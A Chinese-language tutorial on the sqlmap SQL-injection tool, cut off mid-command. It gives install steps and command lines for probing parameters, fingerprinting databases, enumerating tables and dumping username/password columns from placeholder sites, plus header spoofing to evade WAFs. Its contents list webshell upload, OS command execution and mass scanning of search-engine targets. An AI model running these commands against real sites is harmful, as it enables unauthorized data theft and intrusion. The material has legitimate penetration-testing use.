超详细 sqlmap 使用教程(从入门到进阶)
超详细 sqlmap 使用教程(从入门到进阶)
作者:Factor
超详细 sqlmap 使用教程(从入门到进阶)
一、安装 sqlmap
方式一:源码安装(推荐)
方式二:APT 安装(适用于 Kali、Debian)
二、基本命令语法
三、典型实战用法大全(按功能分类)
1、基础测试注入点
1、自动探测 GET 参数是否存在注入
2、测试 POST 请求参数
3、带 Cookie 测试(如登录后才可注入)
4、指定注入参数(默认会测试所有)
5、静态请求文件(如 Burp 抓包导出的 .txt)
2、数据库识别与信息收集
1、获取数据库类型和版本
2、获取当前数据库名
3、获取当前用户、权限
4、获取所有数据库名
5、枚举数据库的表名
6、枚举表内字段名
7、导出数据
3、绕过过滤和防护机制
1、伪造 User-Agent / Referer
2、自定义 HTTP 请求头
3、使用随机 UA 绕过 WAF
4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
4、特殊注入场景支持
1、支持时间盲注(time-based blind)
2、支持报错注入(error-based)
3、使用堆叠查询
5、文件系统操作(高危)
1、读取远程服务器文件(如配置文件)
2、上传写入 webshell(需要写权限)
6、系统命令执行(高权限下)
1、执行系统命令(如 whoami、ipconfig)
2、启动交互式命令行(非常强大)
7、登录口爆破测试(少见用法)
8、会话保存 / 自动继续扫描
1、保存扫描进度
2、继续之前未完成的任务
9、指定数据库引擎、注入技术
四、辅助技巧与实用建议
五、实战案例总结
六、总结建议
1. 自动化批量测试多个目标
方法一:使用 `--batch` + `--crawl` + Bash 脚本
方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)
2. 常用组合参数模板(实战推荐)
3. 常见 Tamper 绕过脚本说明
4. 对抗防火墙与 WAF 策略
1、检测是否有 WAF
5. SQL 注入技术选型建议
6. sqlmap session 保存与重用
7. 利用 sqlmap API 进行自动化任务管理
1、启动 API 服务端(默认端口 8775)
2、与之交互(Python 代码 / Postman / curl 调用)
8. 输出数据格式控制
9. sqlmap 配合渗透测试场景
10. 学习路径建议(由浅入深)
附:推荐资源
✅ 总结一句话:
sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。
一、安装 sqlmap
方式一:源码安装(推荐)
git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像
cd sqlmap
python3 sqlmap.py -h
方式二:APT 安装(适用于 Kali、Debian)
sudo apt update
sudo apt install sqlmap
sqlmap -h
二、基本命令语法
sqlmap -u "http://target.com/vuln.php?id=1" [options]
-u:目标 URL,支持 GET 和 POST 参数
--data:提交 POST 参数
--cookie:提交 Cookie 头
-p:指定注入点参数
--batch:自动确认(用于脚本执行时非交互)
--random-agent:伪造浏览器 UA
三、典型实战用法大全(按功能分类)
1、基础测试注入点
1、自动探测 GET 参数是否存在注入
sqlmap -u "http://site.com/page.php?id=1"
2、测试 POST 请求参数
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
3、带 Cookie 测试(如登录后才可注入)
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
4、指定注入参数(默认会测试所有)
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
5、静态请求文件(如 Burp 抓包导出的 .txt)
sqlmap -r request.txt
2、数据库识别与信息收集
1、获取数据库类型和版本
sqlmap -u "http://target.com/?id=1" --banner
2、获取当前数据库名
sqlmap -u "http://target.com/?id=1" --current-db
3、获取当前用户、权限
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
4、获取所有数据库名
sqlmap -u "http://target.com/?id=1" --dbs
5、枚举数据库的表名
sqlmap -u "http://target.com/?id=1" -D testdb --tables
6、枚举表内字段名
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
7、导出数据
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump
3、绕过过滤和防护机制
1、伪造 User-Agent / Referer
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
2、自定义 HTTP 请求头
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
3、使用随机 UA 绕过 WAF
sqlmap -u